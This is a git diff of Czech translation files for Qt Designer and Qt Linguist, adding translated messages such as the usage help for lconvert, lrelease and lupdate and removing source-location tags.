- <location line="+1"/>
<source>Icon View</source>
<translation>Pohled s ikonami</translation>
</message>
<message>
- <location line="+15"/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location line="+2"/>
<source>Edit name</source>
<translation>Upravit název</translation>
</message>
@@ -6971,7 +5815,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::WidgetDataBase</name>
<message>
- <location filename="../tools/designer/src/lib/shared/widgetdatabase.cpp" line="-411"/>
<source>A custom widget plugin whose class name (%1) matches that of an existing class has been found.</source>
<translation>Byl nalezen přídavný modul, který obsahuje uživatelsky stanovený prvek, jehož název pro třídu (%1) odpovídá stávající třídě.</translation>
</message>
@@ -6979,7 +5822,6 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::WidgetEditorTool</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/tool_widgeteditor.cpp" line="+67"/>
<source>Edit Widgets</source>
<translation>Upravit prvky</translation>
</message>
@@ -6987,33 +5829,27 @@ Třída: %2</translation>
<context>
<name>qdesigner_internal::WidgetFactory</name>
<message>
- <location filename="../tools/designer/src/lib/shared/widgetfactory.cpp" line="+263"/>
<source>The custom widget factory registered for widgets of class %1 returned 0.</source>
<translation>Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět 0.</translation>
</message>
<message>
- <location line="+44"/>
<source>A class name mismatch occurred when creating a widget using the custom widget factory registered for widgets of class %1. It returned a widget of class %2.</source>
<translation>Při vytváření prvku byly zjištěny odporující si názvy tříd: Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět prvek třídy %2.</translation>
</message>
<message>
- <location line="+189"/>
<source>The current page of the container &apos;%1&apos; (%2) could not be determined while creating a layout.This indicates an inconsistency in the ui-file, probably a layout being constructed on a container widget.</source>
<translation>Při vytváření rozvržení se nepodařilo určit nynější stránku kontejneru &apos;%1&apos; (%2). To naznačuje jistou nesrovnalost v souboru s rozhraním; pravděpodobně bylo rozvržení postaveno přímo na prvku kontejneru.</translation>
</message>
<message>
- <location line="+53"/>
<source>Attempt to add a layout to a widget &apos;%1&apos; (%2) which already has an unmanaged layout of type %3.
This indicates an inconsistency in the ui-file.</source>
<translation>Pokus o přidání rozvržení na prvek &apos;%1&apos; (%2), který již má nespravované rozvržení typu %3. To naznačuje jistou nesrovnalost v souboru s rozhraním.</translation>
</message>
<message>
- <location line="+211"/>
<source>Cannot create style &apos;%1&apos;.</source>
<translation>Nepodařilo se vytvořit styl &apos;%1&apos;.</translation>
</message>
<message>
- <location line="-354"/>
<source>%1 Widget</source>
<translation>%1 prvek</translation>
</message>
@@ -7021,12 +5857,10 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>qdesigner_internal::WizardContainerWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/containerwidget_taskmenu.cpp" line="-49"/>
<source>Next</source>
<translation>Další</translation>
</message>
<message>
- <location line="+1"/>
<source>Back</source>
<translation>Zpět</translation>
</message>
@@ -7034,7 +5868,6 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>qdesigner_internal::ZoomMenu</name>
<message>
- <location filename="../tools/designer/src/lib/shared/zoomwidget.cpp" line="+84"/>
<source>%1 %</source>
<extracomment>Zoom factor</extracomment>
<translation>%1 %</translation>
@@ -7043,7 +5876,6 @@ This indicates an inconsistency in the ui-file.</source>
<context>
<name>qdesigner_internal::ZoomablePreviewDeviceSkin</name>
<message>
- <location filename="../tools/designer/src/lib/shared/previewmanager.cpp" line="-270"/>
<source>&amp;Zoom</source>
<translation>&amp;Zvětšit</translation>
</message>
diff --git a/translations/linguist_cs.ts b/translations/linguist_cs.ts
index 32905c9..5023355 100644..100755
--- a/translations/linguist_cs.ts
+++ b/translations/linguist_cs.ts
@@ -4,7 +4,6 @@
<context>
<name>AboutDialog</name>
<message>
- <location filename="../tools/linguist/linguist/mainwindow.cpp" line="+1357"/>
<source>Qt Linguist</source>
<translation>Qt Linguist</translation>
</message>
@@ -12,27 +11,22 @@
<context>
<name>BatchTranslationDialog</name>
<message>
- <location filename="../tools/linguist/linguist/batchtranslationdialog.cpp" line="+79"/>
<source>Batch Translation of &apos;%1&apos; - Qt Linguist</source>
<translation>Automatický překlad &apos;%1&apos; - Qt Linguist</translation>
</message>
<message>
- <location line="+37"/>
<source>Searching, please wait...</source>
<translation>Hledá se, čekejte, prosím...</translation>
</message>
<message>
- <location line="+0"/>
<source>&amp;Cancel</source>
<translation>&amp;Zrušit</translation>
</message>
<message>
- <location line="+42"/>
<source>Linguist batch translator</source>
<translation>Automatický překladatel (Linguist)</translation>
</message>
<message numerus="yes">
- <location line="+1"/>
<source>Batch translated %n entries</source>
<translation>
<numerusform>1 záznam byl automaticky přeložen</numerusform>
@@ -41,62 +35,50 @@
</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/batchtranslation.ui"/>
<source>Qt Linguist - Batch Translation</source>
<translation>Qt Linguist - Automatický překlad</translation>
</message>
<message>
- <location/>
<source>Options</source>
<translation>Volby</translation>
</message>
<message>
- <location/>
<source>Set translated entries to finished</source>
<translation>Označit přeložené záznamy jako hotové</translation>
</message>
<message>
- <location/>
<source>Retranslate entries with existing translation</source>
<translation>Znovu přeložit záznamy s již existujícím překladem</translation>
</message>
<message>
- <location/>
<source>Translate also finished entries</source>
<translation>Přeložit i hotové záznamy</translation>
</message>
<message>
- <location/>
<source>Phrase book preference</source>
<translation>Slovníky</translation>
</message>
<message>
- <location/>
<source>Move up</source>
<translation>Posunout nahoru</translation>
</message>
<message>
- <location/>
<source>Move down</source>
<translation>Posunout dolů</translation>
</message>
<message>
- <location/>
<source>&amp;Run</source>
<translation>&amp;Provést</translation>
</message>
<message>
- <location/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location/>
<source>Note that the modified entries will be reset to unfinished if &apos;Set translated entries to finished&apos; above is unchecked</source>
<translation>Všimněte si, že změněné záznamy budou znovu nastaveny na nevyřízené, pokud není zapnuto nahoře zmíněné nastavení &apos;Označit přeložené záznamy jako hotové&apos;</translation>
</message>
<message>
- <location/>
<source>The batch translator will search through the selected phrase books in the order given above</source>
<translation>Automatický překladatel bude prohledávat vybrané slovníky v pořadí uvedeném výše</translation>
</message>
@@ -104,39 +86,40 @@
<context>
<name>DataModel</name>
<message>
- <location filename="../tools/linguist/linguist/messagemodel.cpp" line="+214"/>
+ <source>The translation file &apos;%1&apos; will not be loaded because it is empty.</source>
+ <translation>Soubor s překladem &apos;%1&apos;nebude nahrán, protože je prázdný.</translation>
+ </message>
+ <message>
<source>&lt;qt&gt;Duplicate messages found in &apos;%1&apos;:</source>
<translation>&lt;qt&gt;Vícekrát existující hlášení v &apos;%1&apos;:</translation>
</message>
<message>
- <location line="+4"/>
<source>&lt;p&gt;[more duplicates omitted]</source>
<translation>&lt;p&gt;[vypuštěny další vícekrát existující zprávy]</translation>
</message>
<message>
- <location line="+3"/>
+ <source>&lt;p&gt;* ID: %1</source>
+ <translation>&lt;p&gt;* ID: %1</translation>
+ </message>
+ <message>
<source>&lt;p&gt;* Context: %1&lt;br&gt;* Source: %2</source>
<translation>&lt;p&gt;* Souvislosti: %1&lt;br&gt;* Zdroj: %2</translation>
</message>
<message>
- <location line="+3"/>
<source>&lt;br&gt;* Comment: %3</source>
<translation>&lt;br&gt;* Poznámka: %3</translation>
</message>
<message>
- <location line="+70"/>
<source>Linguist does not know the plural rules for &apos;%1&apos;.
Will assume a single universal form.</source>
<translation>Pravidla pro tvoření množného čísla (plurálu) jazyka &apos;%1&apos; nejsou v Linguistu stanovena.
Pracuje se s jednoduchým všeobecným tvarem.</translation>
</message>
<message>
- <location line="+56"/>
<source>Cannot create &apos;%2&apos;: %1</source>
<translation>&apos;%2&apos; nemůže být vytvořen: %1</translation>
</message>
<message>
- <location line="+56"/>
<source>Universal Form</source>
<translation>Všeobecný tvar</translation>
</message>
@@ -144,37 +127,30 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
<context>
<name>ErrorsView</name>
<message>
- <location filename="../tools/linguist/linguist/errorsview.cpp" line="+76"/>
<source>Accelerator possibly superfluous in translation.</source>
<translation>V textu překladu je možná přebytečný akcelerátor.</translation>
</message>
<message>
- <location line="+3"/>
<source>Accelerator possibly missing in translation.</source>
<translation>V textu překladu možná chybí akcelerátor.</translation>
</message>
<message>
- <location line="+3"/>
<source>Translation does not end with the same punctuation as the source text.</source>
<translation>Interpunkční znaménko na konci textu překladu se liší od interpunkce zdrojového textu.</translation>
</message>
<message>
- <location line="+3"/>
<source>A phrase book suggestion for &apos;%1&apos; was ignored.</source>
<translation>Na návrh slovníku pro &apos;%1&apos; nebyl brán zřetel.</translation>
</message>
<message>
- <location line="+3"/>
<source>Translation does not refer to the same place markers as in the source text.</source>
<translation>Držitelé místa v textu překladu a ve zdrojovém textu se liší.</translation>
</message>
<message>
- <location line="+3"/>
<source>Translation does not contain the necessary %n place marker.</source>
<translation>Potřebný držitel místa (%n) v překladu chybí.</translation>
</message>
<message>
- <location line="+3"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
@@ -182,97 +158,78 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
<context>
<name>FindDialog</name>
<message>
- <location filename="../tools/linguist/linguist/finddialog.ui"/>
<source>This window allows you to search for some text in the translation source file.</source>
<translation>Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.</translation>
</message>
<message>
- <location/>
<source>Type in the text to search for.</source>
<translation>Zadejte text, který se má hledat.</translation>
</message>
<message>
- <location/>
<source>Options</source>
<translation>Volby</translation>
</message>
<message>
- <location/>
<source>Source texts are searched when checked.</source>
<translation>Když je zapnuto, hledá se ve zdrojových textech.</translation>
</message>
<message>
- <location/>
<source>Translations are searched when checked.</source>
<translation>Když je zapnuto, hledá se v překladech.</translation>
</message>
<message>
- <location/>
<source>Texts such as &apos;TeX&apos; and &apos;tex&apos; are considered as different when checked.</source>
<translation>Když je zapnuto, texty jako &apos;TeX&apos; a &apos;tex&apos; se považují za rozdílné.</translation>
</message>
<message>
- <location/>
<source>Comments and contexts are searched when checked.</source>
<translation>Když je zapnuto, prohledávají se poznámky a souvislosti.</translation>
</message>
<message>
- <location/>
<source>Find</source>
<translation>Hledat</translation>
</message>
<message>
- <location/>
<source>&amp;Find what:</source>
<translation>&amp;Vzor hledání:</translation>
</message>
<message>
- <location/>
<source>&amp;Source texts</source>
<translation>&amp;Zdrojové texty</translation>
</message>
<message>
- <location/>
<source>&amp;Translations</source>
<translation>&amp;Překlady</translation>
</message>
<message>
- <location/>
<source>&amp;Match case</source>
<translation>&amp;Dbát na psaní velkých a malých písmen</translation>
</message>
<message>
- <location/>
<source>&amp;Comments</source>
<translation>&amp;Poznámky</translation>
</message>
<message>
- <location/>
<source>Ignore &amp;accelerators</source>
<translation>Nedbat na &amp;akcelerátory</translation>
</message>
<message>
- <location/>
<source>Click here to find the next occurrence of the text you typed in.</source>
<translation>Klepněte sem pro skok k dalšímu výskytu hledáného textu.</translation>
</message>
<message>
- <location/>
<source>Find Next</source>
<translation>Hledat dál</translation>
</message>
<message>
- <location/>
<source>Click here to close this window.</source>
<translation>Klepněte sem pro zavření tohoto okna.</translation>
</message>
<message>
- <location/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location filename="../tools/linguist/linguist/finddialog.cpp" line="+12"/>
<source></source>
<comment>Choose Edit|Find from the menu bar or press Ctrl+F to pop up the Find dialog</comment>
<translation></translation>
@@ -281,38 +238,212 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
<context>
<name>FormMultiWidget</name>
<message>
- <location filename="../tools/linguist/linguist/messageeditorwidgets.cpp" line="+296"/>
<source>Alt+Delete</source>
<extracomment>translate, but don&apos;t change</extracomment>
<translation>Alt+Delete</translation>
</message>
<message>
- <location line="+1"/>
<source>Shift+Alt+Insert</source>
<extracomment>translate, but don&apos;t change</extracomment>
<translation>Shift+Alt+Insert</translation>
</message>
<message>
- <location line="+1"/>
<source>Alt+Insert</source>
<extracomment>translate, but don&apos;t change</extracomment>
<translation>Alt+Insert</translation>
</message>
<message>
- <location line="+131"/>
<source>Confirmation - Qt Linguist</source>
<translation>Potvrzení - Qt Linguist</translation>
</message>
<message>
- <location line="+1"/>
<source>Delete non-empty length variant?</source>
<translation>Smazat vyplněnou obměnu délky?</translation>
</message>
</context>
<context>
+ <name>LConvert</name>
+ <message>
+ <source>
+Usage:
+ lconvert [options] &lt;infile&gt; [&lt;infile&gt;...]
+
+lconvert is part of Qt&apos;s Linguist tool chain. It can be used as a
+stand-alone tool to convert and filter translation data files.
+The following file formats are supported:
+
+%1
+If multiple input files are specified, they are merged with
+translations from later files taking precedence.
+
+Options:
+ -h
+ --help Display this information and exit.
+
+ -i &lt;infile&gt;
+ --input-file &lt;infile&gt;
+ Specify input file. Use if &lt;infile&gt; might start with a dash.
+ This option can be used several times to merge inputs.
+ May be &apos;-&apos; (standard input) for use in a pipe.
+
+ -o &lt;outfile&gt;
+ --output-file &lt;outfile&gt;
+ Specify output file. Default is &apos;-&apos; (standard output).
+
+ -if &lt;informat&gt;
+ --input-format &lt;format&gt;
+ Specify input format for subsequent &lt;infile&gt;s.
+ The format is auto-detected from the file name and defaults to &apos;ts&apos;.
+
+ -of &lt;outformat&gt;
+ --output-format &lt;outformat&gt;
+ Specify output format. See -if.
+
+ --input-codec &lt;codec&gt;
+ Specify encoding for QM and PO input files. Default is &apos;Latin1&apos;
+ for QM and &apos;UTF-8&apos; for PO files. UTF-8 is always tried as well for
+ QM, corresponding to the possible use of the trUtf8() function.
+
+ --output-codec &lt;codec&gt;
+ Specify encoding for PO output files. Default is &apos;UTF-8&apos;.
+
+ --drop-tags &lt;regexp&gt;
+ Drop named extra tags when writing TS or XLIFF files.
+ May be specified repeatedly.
+
+ --drop-translations
+ Drop existing translations and reset the status to &apos;unfinished&apos;.
+ Note: this implies --no-obsolete.
+
+ --source-language &lt;language&gt;[_&lt;region&gt;]
+ Specify/override the language of the source strings. Defaults to
+ POSIX if not specified and the file does not name it yet.
+
+ --target-language &lt;language&gt;[_&lt;region&gt;]
+ Specify/override the language of the translation.
+ The target language is guessed from the file name if this option
+ is not specified and the file contents name no language yet.
+
+ --no-obsolete
+ Drop obsolete messages.
+
+ --no-finished
+ Drop finished messages.
+
+ --sort-contexts
+ Sort contexts in output TS file alphabetically.
+
+ --locations {absolute|relative|none}
+ Override how source code references are saved in TS files.
+ Default is absolute.
+
+ --no-ui-lines
+ Drop line numbers from references to UI files.
+
+ --verbose
+ be a bit more verbose
+
+Long options can be specified with only one leading dash, too.
+
+Return value:
+ 0 on success
+ 1 on command line parse failures
+ 2 on read failures
+ 3 on write failures
+</source>
+ <translation>
+Použití:
+ lconvert [volby] &lt;infile&gt; [&lt;infile&gt;...]
+
+lconvert je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
+nástroj na převádění a filtrování souborů s daty překladů.
+Jsou podporovány následující formáty souborů:
+
+%1
+Pokud je zadáno více vstupních souborů, jsou sloučeny s překlady
+z pozdějších souborů maje přednost.
+
+Volby:
+ -h
+ --help Zobrazit tuto informaci a ukončit.
+
+ -i &lt;infile&gt;
+ --input-file &lt;infile&gt;
+ Zadejte vstupní soubor. Použijte, pokud &lt;infile&gt; může začít čárkou.
+ Tuto volbu lze použít několikrát ke sloučení vstupů.
+ Může být &apos;-&apos; (běžný vstup) pro použití v rouře.
+
+ -o &lt;outfile&gt;
+ --output-file &lt;outfile&gt;
+ Zadejte výstupní soubor. Výchozí je &apos;-&apos; (běžný vstup).
+
+ -if &lt;informat&gt;
+ --input-format &lt;format&gt;
+ Zadejte vstupní soubor pro subsequent &lt;infile&gt;s.
+ Formát je určen automaticky z názvu souboru a je výchozí pro &apos;ts&apos;.
+
+ -of &lt;outformat&gt;
+ --output-format &lt;outformat&gt;
+ Zadejte výstupní soubor. Viz -if.
+
+ --input-codec &lt;codec&gt;
+ Zadat kódování pro vstupní soubory QM a PO. Výchozí je &apos;Latin1&apos;
+ pro QM a &apos;UTF-8&apos; pro PO files. UTF-8 se vždy zkouší i pro
+ QM, odpovídá možnému užití funkce trUtf8().
+
+ --output-codec &lt;codec&gt;
+ Zadejte kódování pro výstupní soubory PO. Výchozí je &apos;UTF-8&apos;.
+
+ --drop-tags &lt;regexp&gt;
+ Smazat pojmenované značky navíc při zápisu souboru TS nebo XLIFF.
+ Může být zadáno opakovaně.
+
+ --drop-translations
+ Smazat stávající překlady a stav nastavit na &apos;unfinished&apos;.
+ Poznámka: toto znamená --no-obsolete.
+
+ --source-language &lt;language&gt;[_&lt;region&gt;]
+ Zadat/Přepsat jazyk zdrojových řetězců. Výchozí pro
+ POSIX pokud není zadán a soubor jej ještě nejmenuje.
+
+ --target-language &lt;language&gt;[_&lt;region&gt;]
+ Zadat/Přepsat jazyk překladu.
+ Cílový jazyk je odhadnut z názvu souboru, pokud není tato volba zadána
+ a soubor ještě neobsahuje název jazyka.
+
+ --no-obsolete
+ Smazat zastaralé zprávy.
+
+ --no-finished
+ Smazat dokončené zprávy.
+
+ --sort-contexts
+ Řadit souvislosti ve výstupním souboru TS abecedně.
+
+ --locations {absolute|relative|none}
+ {absolutní|relativní|žádné}
+ Přepsat, jak jsou odkazy na zdrojový kód v souborech TS ukládány.
+ Výchozí je absolutní.
+
+ --no-ui-lines
+ Smazat čísla řádků z odkazů do souborů UI.
+
+ --verbose
+ Být trochu podrobnější
+
+Dlouhé volby lze také zadat jen s jednou čárkou na začátku.
+
+Návratová hodnota:
+ 0 při úspěchu
+ 1 při chybách ve zpracování v příkazovém řádku
+ 2 při chybách ve čtení
+ 3 při chybách v zápisu
+</translation>
+ </message>
+</context>
+<context>
<name>LRelease</name>
<message numerus="yes">
- <location filename="../tools/linguist/shared/qm.cpp" line="+748"/>
<source>Dropped %n message(s) which had no ID.</source>
<translation>
<numerusform>Byl smazán záznam bez identifikátoru.</numerusform>
@@ -321,7 +452,6 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
</translation>
</message>
<message numerus="yes">
- <location line="+4"/>
<source>Excess context/disambiguation dropped from %n message(s).</source>
<translation>
<numerusform>U jednoho záznamu byla odstraněna přebytečná souvislost případně přebytečné zabránění dvojznačnosti (přebytečná informace k rozhodování).</numerusform>
@@ -330,10 +460,25 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
</translation>
</message>
<message numerus="yes">
- <location line="+8"/>
+ <source> Generated %n translation(s) (%1 finished and %2 unfinished)</source>
+ <translation>
+ <numerusform> Vytvořen jeden překlad (%1 dokončeno a %2 nedokončeno)</numerusform>
+ <numerusform> Vytvořeny %n překlady (%1 dokončeno a %2 nedokončeno)</numerusform>
+ <numerusform> Vytvořeno %n překladů (%1 dokončeno a %2 nedokončeno)</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
+ <source> Ignored %n untranslated source text(s)</source>
+ <translation>
+ <numerusform> Opomenut jeden nepřeložený zdrojový text</numerusform>
+ <numerusform> Opomenuty %n nepřeložené zdrojové texty</numerusform>
+ <numerusform> Opomenuto %n nepřeložených zdrojových textů</numerusform>
+ </translation>
+ </message>
+ <message numerus="yes">
<source> Generated %n translation(s) (%1 finished and %2 unfinished)
</source>
- <translation>
+ <translation type="obsolete">
<numerusform> Byl vytvořen jeden překlad (%1 dokončeno %2 nedokončeno)
</numerusform>
<numerusform> Byly vytvořeny %n překlady (%1 dokončeno %2 nedokončeno)
@@ -343,10 +488,9 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
</translation>
</message>
<message numerus="yes">
- <location line="+4"/>
<source> Ignored %n untranslated source text(s)
</source>
- <translation>
+ <translation type="obsolete">
<numerusform> Na jeden nepřeložený text nebyl brán zřetel
</numerusform>
<numerusform> na %n nepřeložené texty nebyl brán zřetel
@@ -355,637 +499,1246 @@ Pracuje se s jednoduchým všeobecným tvarem.</translation>
</numerusform>
</translation>
</message>
+ <message>
+ <source>Usage:
+ lrelease [options] project-file
+ lrelease [options] ts-files [-qm qm-file]
+
+lrelease is part of Qt&apos;s Linguist tool chain. It can be used as a
+stand-alone tool to convert XML-based translations files in the TS
+format into the &apos;compiled&apos; QM format used by QTranslator objects.
+
+Options:
+ -help Display this information and exit
+ -idbased
+ Use IDs instead of source strings for message keying
+ -compress
+ Compress the QM files
+ -nounfinished
+ Do not include unfinished translations
+ -removeidentical
+ If the translated text is the same as
+ the source text, do not include the message
+ -markuntranslated &lt;prefix&gt;
+ If a message has no real translation, use the source text
+ prefixed with the given string instead
+ -silent
+ Do not explain what is being done
+ -version
+ Display the version of lrelease and exit
+</source>
+ <translation>Použití:
+ lrelease [volby] projektový-soubor
+ lrelease [volby] ts-soubory [-qm qm-soubor]
+
+lrelease je částí řetězce nástrojů pro Qt Linguist. Lze jej používat jako samostatný
+nástroj na převádění na XML založených překladových souborů ve formátu TS
+do &apos;sestaveného&apos; formátu QM používaného objekty QTranslator.
+
+Volby:
+ -help Zobrazit tuto informaci a ukončit
+ -idbased
+ Použít ID namísto zdrojových řetězců pro klíčování zpráv
+ -compress
+ Zkomprimovat soubory QM
+ -nounfinished
+ Nezahrnovat nedokončené překlady
+ -removeidentical
+ Pokud je přeložený text stejný jako zdrojový text,
+ zprávu nezahrnovat
+ -markuntranslated &lt;prefix&gt;
+ Pokud překlad nemá skutečný překlad, použít namísto něj
+ zdrojový text předeslaný zadaným řetězcem
+ -silent
+ Nevysvětlovat, co se dělá
+ -version
+ Zobrazit verzi lrelease a ukončit
+</translation>
+ </message>
+ <message>
+ <source>lrelease error: %1</source>
+ <translation>Chyba při lrelease: %1</translation>
+ </message>
+ <message>
+ <source>Updating &apos;%1&apos;...
+</source>
+ <translation>Obnovuje se &apos;%1&apos;...
+</translation>
+ </message>
+ <message>
+ <source>Removing translations equal to source text in &apos;%1&apos;...
+</source>
+ <translation>Odstraňují se překlady totožné se zdrojovým textem v &apos;%1&apos;...</translation>
+ </message>
+ <message>
+ <source>lrelease error: cannot create &apos;%1&apos;: %2
+</source>
+ <translation>Chyba při lrelease: nelze vytvořit &apos;%1&apos;: %2
+</translation>
+ </message>
+ <message>
+ <source>lrelease error: cannot save &apos;%1&apos;: %2</source>
+ <translation>Chyba při lrelease: nelze uložit &apos;%1&apos;: %2
+</translation>
+ </message>
+ <message>
+ <source>lrelease version %1
+</source>
+ <translation>Verze lrelease %1
+</translation>
+ </message>
+ <message>
+ <source>lrelease error: cannot read project file &apos;%1&apos;.
+</source>
+ <translation>Chyba při lrelease: nelze přečíst soubor s projektem &apos;%1&apos;.
+</translation>
+ </message>
+ <message>
+ <source>lrelease error: cannot process project file &apos;%1&apos;.
+</source>
+ <translation>Chyba při lrelease: nelze zpracovat soubor s projektem &apos;%1&apos;.
+</translation>
+ </message>
+ <message>
+ <source>lrelease warning: Met no &apos;TRANSLATIONS&apos; entry in project file &apos;%1&apos;
+</source>
+ <translation>Varování lrelease: V souboru s projektem &apos;%1&apos; nebyly nalezeny žádné záznamy s &apos;PŘEKLADY&apos;
+</translation>
+ </message>
+</context>
+<context>
+ <name>LUpdate</name>
+ <message>
+ <source>Parenthesis/bracket/brace mismatch between #if and #else branches; using #if branch
+</source>
+ <translation>Neshoda v závorkách/kulatých závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if</translation>
+ </message>
+ <message>
+ <source>Parenthesis/brace mismatch between #if and #else branches; using #if branch
+</source>
+ <translation>Neshoda v závorkách/složených závorkách mezi větvemi #if a #else; používá se větev #if</translation>
+ </message>
+ <message>
+ <source>Unterminated C++ comment
+</source>
+ <translation>Neskončená poznámka C++
+</translation>
+ </message>
+ <message>
+ <source>Unterminated C++ string
+</source>
+ <translation>Neskončený řetězec C++
+</translation>
+ </message>
+ <message>
+ <source>Excess closing brace in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Příliš mnoho zavírajících složených závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>Excess closing parenthesis in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Příliš mnoho zavírajících závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>Excess closing bracket in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Příliš mnoho zavírajících kulatých závorek v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>circular inclusion of %1
+</source>
+ <translation>Kruhové zařazení %1
+</translation>
+ </message>
+ <message>
+ <source>Cannot open %1: %2
+</source>
+ <translation>Nelze otevřít %1: %2
+</translation>
+ </message>
+ <message>
+ <source>//% cannot be used with tr() / QT_TR_NOOP(). Ignoring
+</source>
+ <translation>//% nelze použít s tr() / QT_TR_NOOP(). Přehlíží se
+</translation>
+ </message>
+ <message>
+ <source>Qualifying with unknown namespace/class %1::%2
+</source>
+ <translation>Blíže se vymezuje s neznámým jmenným prostorem/třídou %1::%2
+</translation>
+ </message>
+ <message>
+ <source>tr() cannot be called without context
+</source>
+ <translation>tr() nelze volat bez souvislosti
+</translation>
+ </message>
+ <message>
+ <source>Class &apos;%1&apos; lacks Q_OBJECT macro
+</source>
+ <translation>Třída &apos;%1&apos; postrádá makro Q_OBJECT
+</translation>
+ </message>
+ <message>
+ <source>It is not recommended to call tr() from within a constructor &apos;%1::%2&apos;
+</source>
+ <translation>Nedoporučuje se volat tr() zevnitř stavitele &apos;%1::%2&apos;
+</translation>
+ </message>
+ <message>
+ <source>//% cannot be used with translate() / QT_TRANSLATE_NOOP(). Ignoring
+</source>
+ <translation>//% nelze použít s translate() / QT_TRANSLATE_NOOP(). Přehlíží se
+</translation>
+ </message>
+ <message>
+ <source>//= cannot be used with qtTrId() / QT_TRID_NOOP(). Ignoring
+</source>
+ <translation>//= nelze použít s qtTrId() / QT_TRID_NOOP(). Přehlíží se
+</translation>
+ </message>
+ <message>
+ <source>Unexpected character in meta string
+</source>
+ <translation>Neočekávaný znak v meta řetězci
+</translation>
+ </message>
+ <message>
+ <source>Unterminated meta string
+</source>
+ <translation>Neskončený meta řetězec
+</translation>
+ </message>
+ <message>
+ <source>Cannot invoke tr() like this
+</source>
+ <translation>Nelze uplatnit tr() jako je tento
+</translation>
+ </message>
+ <message>
+ <source>Discarding unconsumed meta data
+</source>
+ <translation>Vyřazují se nestrávená metadata
+</translation>
+ </message>
+ <message>
+ <source>Unbalanced opening brace in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Nevyvážené otevírající složené závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>Unbalanced opening parenthesis in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Nevyvážené otevírající závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>Unbalanced opening bracket in C++ code (or abuse of the C++ preprocessor)
+</source>
+ <translation>Nevyvážené otevírající kulaté závorky v kódu C++ (nebo nesprávné použití preprocesoru C++)
+</translation>
+ </message>
+ <message>
+ <source>Cannot open %1: %2</source>
+ <translation>Nelze otevřít %1: %2</translation>
+ </message>
+ <message>
+ <source>Unterminated Java comment.
+</source>
+ <translation>Neskončená poznámka Java.
+</translation>
+ </message>
+ <message>
+ <source>Invalid Unicode value.
+</source>
+ <translation>Neplatná hodnota Unicode.
+</translation>
+ </message>
+ <message>
+ <source>Unterminated string.
+</source>
+ <translation>Neskončený řetězec.
+</translation>
+ </message>
+ <message>
+ <source>String used in translation can contain only literals concatenated with other literals, not expressions or numbers.
+</source>
+ <translation>Řetězec používaný v překladu může obsahovat pouze písmenka zřetězená jinými písmeny, nikoli výrazy nebo čísla.
+</translation>
+ </message>
+ <message>
+ <source>&apos;class&apos; must be followed by a class name.
+</source>
+ <translation>&apos;class&apos; musí být následována názvem třídy.
+</translation>
+ </message>
+ <message>
+ <source>Excess closing brace.
+</source>
+ <translation>Příliš mnoho zavírajících složených závorek.
+</translation>
+ </message>
+ <message>
+ <source>&apos;package&apos; must be followed by package name.
+</source>
+ <translation>&apos;package&apos; musí být následován názvem balíčku.
+</translation>
+ </message>
+ <message>
+ <source>Unbalanced opening brace.
+</source>
+ <translation>Nevyvážené otevírající složené závorky.
+</translation>
+ </message>
+ <message>
+ <source>Unbalanced opening parenthesis.
+</source>
+ <translation>Nevyvážené otevírající závorky.
+</translation>
+ </message>
+ <message>
+ <source>Usage:
+ lupdate [options] [project-file]...
+ lupdate [options] [source-file|path|@lst-file]... -ts ts-files|@lst-file
+
+lupdate is part of Qt&apos;s Linguist tool chain. It extracts translatable
+messages from Qt UI files, C++, Java and JavaScript/QtScript source code.
+Extracted messages are stored in textual translation source files (typically
+Qt TS XML). New and modified messages can be merged into existing TS files.
+
+Options:
+ -help Display this information and exit.
+ -no-obsolete
+ Drop all obsolete strings.
+ -extensions &lt;ext&gt;[,&lt;ext&gt;]...
+ Process files with the given extensions only.
+ The extension list must be separated with commas, not with whitespace.
+ Default: &apos;%1&apos;.
+ -pluralonly
+ Only include plural form messages.
+ -silent
+ Do not explain what is being done.
+ -no-sort
+ Do not sort contexts in TS files.
+ -no-recursive
+ Do not recursively scan the following directories.
+ -recursive
+ Recursively scan the following directories (default).
+ -I &lt;includepath&gt; or -I&lt;includepath&gt;
+ Additional location to look for include files.
+ May be specified multiple times.
+ -locations {absolute|relative|none}
+ Specify/override how source code references are saved in TS files.
+ Default is absolute.
+ -no-ui-lines
+ Do not record line numbers in references to UI files.
+ -disable-heuristic {sametext|similartext|number}
+ Disable the named merge heuristic. Can be specified multiple times.
+ -pro &lt;filename&gt;
+ Name of a .pro file. Useful for files with .pro file syntax but
+ different file suffix. Projects are recursed into and merged.
